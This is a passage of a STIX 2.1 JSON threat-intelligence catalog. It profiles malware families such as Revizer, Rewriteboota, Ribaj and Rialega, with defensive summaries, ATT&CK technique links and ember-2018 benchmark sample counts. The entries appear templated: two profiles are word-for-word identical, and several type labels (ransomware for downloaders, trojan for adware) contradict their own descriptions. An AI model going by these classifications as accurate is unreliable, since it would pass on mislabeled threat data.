      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revetrat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02d97be9-6ad5-5e23-bf1d-46094d3a1c43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revetrat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2256fd92-bc7e-5f37-aeed-d2305b5a7509",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revetrat exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58c3d8af-2891-5742-bda2-181c3f75289d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revetrat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c028365-9dc5-5ba5-85e4-2b932593dd83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revizer",
      "description": "Adware:Win32/Revizer is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Revizer</b><br>To an end-user, Revizer manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Revizer is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revizer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d3cde2-e6b0-535d-9024-4735e5f35f44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c028365-9dc5-5ba5-85e4-2b932593dd83",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revizer exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c19f5a8-4d05-5510-963e-84b4f4e0e953",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c028365-9dc5-5ba5-85e4-2b932593dd83",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revizer exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a92de5bb-012f-588e-8ef7-0518d4fe1665",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c028365-9dc5-5ba5-85e4-2b932593dd83",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revizer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60242404-b6d0-508c-a184-33053b2ea6d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c028365-9dc5-5ba5-85e4-2b932593dd83",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revizer exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5bb6dd7-1851-5e05-848c-13da623a4388",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rewriteboota",
      "description": "Trojan:Win32/Rewriteboota is a highly destructive trojan classified as a 'Bootkit' or MBR (Master Boot Record) infector. Its primary objective is not necessarily to steal data, but to establish the deepest possible level of persistence or to cause catastrophic denial of service by overwriting the critical boot sectors of the infected hard drive, rendering the operating system unbootable (`T1561.001`).<br><br><b>Understanding Rewriteboota (MBR Infectors)</b><br>To an end-user, the impact of Rewriteboota is immediate and catastrophic: upon restarting their computer, instead of Windows loading, they are met with a black screen, a custom ransom message, or a 'No bootable device found' error. For a security responder, a bootkit represents one of the most difficult infections to remediate, as the malware executes before the operating system and its security tools even load.<br><br><b>Execution and Destruction Mechanics</b><br>Rewriteboota requires administrative privileges to execute. Once running, it uses low-level disk access APIs (such as `DeviceIoControl`) to bypass the Windows filesystem entirely and write directly to the physical sectors of the hard drive (`T1014`). It targets Sector 0, the Master Boot Record. It may overwrite the MBR with a malicious bootloader that loads the malware into memory before Windows starts (establishing deep persistence), or it may simply overwrite it with garbage data or a ransom note (causing denial of service). This technique completely bypasses traditional file-based antivirus scanning.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a completely unbootable system and potential total data loss (if the partition table is also destroyed). Host-based IoCs are difficult to detect while the OS is running, but advanced EDR solutions may flag anomalous processes attempting raw disk access (`\\.\\PhysicalDrive0`). The most obvious IoC is the failure of the system to boot, or the display of a non-standard message during the POST sequence. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rewriteboota",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rewriteboota"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41eed73b-66d9-577f-9e47-96e0835f8a4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5bb6dd7-1851-5e05-848c-13da623a4388",
      "target_ref": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rewriteboota exhibits technique T1561.001 (Disk Wipe: Disk Content Wipe (Overwriting the Master Boot Record))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f35fe21-5dcd-5bb5-b48e-c296d221ca6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5bb6dd7-1851-5e05-848c-13da623a4388",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rewriteboota exhibits technique T1542.003 (Pre-OS Boot: Bootkit (Modifying the boot sequence to load malware before the OS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20c3de16-df78-5b50-90a6-7595d93c01d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5bb6dd7-1851-5e05-848c-13da623a4388",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rewriteboota exhibits technique T1014 (Rootkit (Bypassing the OS to write directly to physical disk sectors))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--efcd4b33-487e-55a8-9926-ac986713288e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reymbz",
      "description": "<h3>Executive Summary</h3>\nReymbz is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nReymbz is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Reymbz operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Reymbz ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Reymbz receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Reymbz infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Reymbz executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Reymbz frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Reymbz",
        "Downloader.Reymbz",
        "Win32/Reymbz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reymbz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reymbz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33c26e26-e1fe-58f2-92d9-ac052bb55893",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efcd4b33-487e-55a8-9926-ac986713288e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reymbz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f9b8345-687f-5372-b592-304ea6249a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efcd4b33-487e-55a8-9926-ac986713288e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reymbz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fb6454d-e303-565d-8022-4e2e66faeb8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efcd4b33-487e-55a8-9926-ac986713288e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reymbz exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13b423e4-2366-51a5-a180-1135ae940ddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reyptson",
      "description": "<h3>Executive Summary</h3>\nReyptson is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nReyptson is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Reyptson operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Reyptson ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Reyptson receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Reyptson infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Reyptson executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Reyptson frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Reyptson",
        "Downloader.Reyptson",
        "Win32/Reyptson"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reyptson",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reyptson"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93996f72-acae-556e-bad2-94996f3f2369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b423e4-2366-51a5-a180-1135ae940ddf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reyptson exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b6dd4fd-1cb2-5f9e-9133-8c79687f3e84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b423e4-2366-51a5-a180-1135ae940ddf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reyptson exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54ff79d3-abe2-53b7-8920-6555f80bb6fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13b423e4-2366-51a5-a180-1135ae940ddf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reyptson exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--077d6e4a-893f-536b-bfdd-9a3c28e17c97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rialega",
      "description": "<h3>Executive Summary</h3>\nRialega is a malicious Trojan engineered to compromise Windows environments, acting primarily as an initial access broker and downloader. Its primary objective is to silently infiltrate a system, bypass security controls, and fetch secondary, highly destructive payloads on behalf of threat actors.\n\n<h3>Infection Vector and Execution Flow</h3>\nRialega is most commonly distributed via deceptive spam campaigns (malspam) containing malicious attachments, or embedded within cracked software and game key generators hosted on peer-to-peer (P2P) networks.\n\nUpon execution, Rialega operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>Environmental Checks:</strong> It performs basic anti-analysis checks, verifying it is not running in a debugger or a known malware sandbox environment before proceeding with execution.</li>\n<li><strong>Persistence:</strong> Rialega establishes persistence by modifying Windows Registry run keys, ensuring it restarts automatically if the system is rebooted.</li>\n<li><strong>Payload Acquisition:</strong> The Trojan contacts a hardcoded command-and-control (C2) server. It typically downloads an encrypted payload, decrypts it in memory, and executes it. This secondary payload is frequently an information stealer (like RedLine or Raccoon) or a cryptocurrency miner.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nA Rialega detection is a critical indicator of compromise. The malware itself serves as a conduit; the true risk lies in the secondary payload it delivers, which can lead to severe data breaches, credential theft, and operational disruption.\n\n<h3>Mitigation and Eradication Strategies</h3>\n<ul>\n<li><strong>Email Security and Sandboxing:</strong> Implement advanced email filtering solutions that detonate and analyze attachments in a sandbox prior to delivery, blocking the initial Rialega droppers.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Utilize EDR to monitor for unauthorized registry modifications and the sudden execution of unknown binaries downloaded into temporary directories (`%TEMP%` or `%AppData%`).</li>\n<li><strong>Immediate Containment:</strong> If Rialega is detected, isolate the endpoint immediately. Conduct a thorough forensic investigation to identify and eradicate the secondary payload that Rialega successfully downloaded.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rialega",
        "Downloader.Rialega",
        "Win32/Rialega"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rialega",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rialega"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--616f0f84-7051-5278-83a5-debd33ba8d90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--077d6e4a-893f-536b-bfdd-9a3c28e17c97",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rialega exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cc608d5-c576-555b-9049-eeac6e98d53e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--077d6e4a-893f-536b-bfdd-9a3c28e17c97",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rialega exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85779cc8-4aa5-57d9-a8cb-2952fb55e89a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--077d6e4a-893f-536b-bfdd-9a3c28e17c97",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rialega exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ribaj",
      "description": "Trojan:Win32/Ribaj (also cataloged in security telemetry as Trojan:MSIL/Ribaj, Win32/Ribaj, or Trojan.Ribaj) is an evasive credential-stealing trojan and backdoor designed to harvest sensitive user credentials, browser data, and authentication tokens from Windows endpoints. Distributed through malicious email attachments, cracked application archives, and secondary loader scripts, Ribaj establishes an encrypted footprint in the user profile directory (%AppData%). Upon execution, Ribaj enumerates installed web browsers (Chrome, Edge, Firefox), dumps encrypted SQLite credential databases, extracts master DPAPI keys, and harvests stored FTP and email client passwords. The trojan opens covert HTTP POST connections to remote command-and-control servers to exfiltrate harvested credential vaults and receive secondary instructions. (Observed samples in benchmark: 1,199)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ribaj",
        "Trojan:Win32/Ribaj",
        "Trojan:MSIL/Ribaj",
        "Win32/Ribaj",
        "Trojan.Ribaj",
        "Ribaj Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ribaj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ribaj"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36179bc3-b96c-5132-86d9-e89ad665f59b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ribaj exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57e3355c-8bd9-5163-90cf-7c5c7eee7a5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ribaj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db0f60c1-b8d8-534c-87ac-2751ae8d98d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ribaj exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1640ba7f-7d60-5b9e-9b33-e26a4c9664f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ribaj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--068bbaa7-4f12-5ebd-ad1b-372e25d0aa60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ede33a1-1109-5e71-836c-a5e38e58ec13",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ribaj exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35939a6b-7cc1-5e7f-bff5-0d35218d842c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ridapi",
      "description": "<h3>Executive Summary</h3>\nRidapi is an aggressive Potentially Unwanted Program (PUP) and Adware application that operates primarily as a Browser Hijacker. It masquerades as a helpful browser extension, search optimizer, or coupon finder. Its true purpose is to forcefully inject advertisements, alter critical browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRidapi relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route all traffic through affiliate-monetized search engines controlled by the adware developers.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Ridapi frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to a legitimate search engine, the watchdog service instantly reinstalls the adware configurations.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Ridapi is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The 